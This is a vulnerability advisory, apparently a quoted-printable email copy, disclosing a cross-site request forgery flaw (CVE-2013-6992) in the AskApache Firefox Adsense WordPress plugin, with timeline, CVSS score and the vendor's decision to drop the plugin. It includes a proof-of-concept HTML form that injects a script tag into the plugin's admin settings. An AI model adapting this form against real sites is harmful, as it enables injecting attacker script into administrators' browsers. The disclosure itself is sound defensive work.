Advisory ID: HTB23188
Product: AskApache Firefox Adsense Wordpress plugin
Vendor: AskApache
Vulnerable Version(s): 3.0 and probably prior
Tested Version: 3.0
Advisory Publication: December 5, 2013 [without technical details]
Vendor Notification: December 5, 2013=20
Public Disclosure: December 26, 2013=20
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2013-6992
Risk Level: Low=20
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Not Fixed
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in AskApach=
e Firefox Adsense Wordpress plugin, which can be exploited to perform =D0=
=A1ross-Site Request Forgery (CSRF) attacks.
1) =D0=A1ross-Site Request Forgery (CSRF) in AskApache Firefox Adsense Word=
press plugin: CVE-2013-6992
The vulnerability exists due to insufficient verification of the HTTP reque=
st origin in "/wp-admin/options-general.php" script. A remote attacker can =
trick a logged-in administrator to visit a specially crafted page with CSRF=
exploit, inject and execute arbitrary HTML and script code in administrato=
r=E2=80=99s browser in context of vulnerable website.=20
The exploitation example below injects JavaScript code, which uses the "ale=
rt()" function to display "immuniweb" word:
<form action=3D"http://[host]/wp-admin/options-general.php?page=3Daskapache=
-firefox-adsense.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"aafireadcode" value=3D'<script>alert("immun=
iweb");</script>'>
<input type=3D"submit" id=3D"btn">
</form>
---------------------------------------------------------------------------=
--------------------
Solution:
Disable the vulnerable plugin.=20
On 2013-12-06 vendor replied to our notification that he will not support t=
he plugin anymore, and proposed to remove the vulnerable plugin as the offi=
cial solution. The vendor has also taken steps to remove this plugin from W=
ordPress.org.
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23188 - https://www.htbridge.com/advisory/=
HTB23188 - =D0=A1ross-Site Request Forgery (CSRF) in AskApache Firefox Adse=
nse Wordpress plugin.
[2] AskApache Firefox Adsense Wordpress plugin - http://wordpress.org/plugi=
ns/askapache-firefox-adsense/ - Displays a Google Adsense Ad for Firefox on=
ly for non-firefox users.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.